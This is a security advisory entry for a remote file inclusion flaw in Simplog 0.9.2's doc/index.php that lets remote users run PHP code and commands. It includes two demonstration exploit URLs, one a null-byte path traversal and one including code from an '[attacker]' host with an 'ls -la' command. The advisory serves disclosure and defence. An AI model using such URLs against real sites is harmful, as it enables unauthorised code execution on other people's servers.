Simplog Include File Bug in 'doc/index.php' Lets Remote Users Execute Arbitrary Code
|
|
SecurityTracker Alert ID: 1015904 |
|
SecurityTracker URL: http://securitytracker.com/id?1015904
|
|
CVE Reference:
CVE-2006-1776, CVE-2006-1777, CVE-2006-1778, CVE-2006-1779
(Links to External Site)
|
Updated: Nov 27 2009
|
Original Entry Date: Apr 12 2006
|
Impact:
Execution of arbitrary code via network, User access via network
|
Exploit Included: Yes
|
Version(s): 0.9.2 and prior versions
|
Description:
rgod reported a vulnerability in Simplog. A remote user can include and execute arbitrary code on the target system.
The 'doc/index.php' script does not properly validate user-supplied input in HTTP requests before including files based on the request parameter. A remote user can supply a specially crafted URL to cause the target system to include and execute arbitrary PHP code from a remote location. The PHP code, including operating system commands, will run with the privileges of the target web service.
Some demonstration exploit URLs are provided:
http://[target]/[path]/doc/index.php?s=../../../../var/httpd/logs/error_log%00
http://[target]/[path]/doc/index.php?cmd=ls%
20-la&s=http://[attacker]/
The original advisory is available at:
http://retrogod.altervista.org/simplog_092_incl_xpl.html
|
Impact:
A remote user can execute arbitrary PHP code and operating system commands on the target system with the privileges of the target web service.
|
Solution:
No solution was available at the time of this entry.
|
Vendor URL: www.simplog.org/ (Links to External Site)
|
Cause:
Input validation error, State error
|
Underlying OS:
Linux (Any), UNIX (Any), Windows (Any)
|
|
Message History:
None.
|
Source Message Contents
|
Date: Wed, 12 Apr 2006 02:54:31 +0200
Subject: Simplog <=0.9.2 multiple vulnerabilities
|
http://retrogod.altervista.org/simplog_092_incl_xpl.html
rgod
|
|
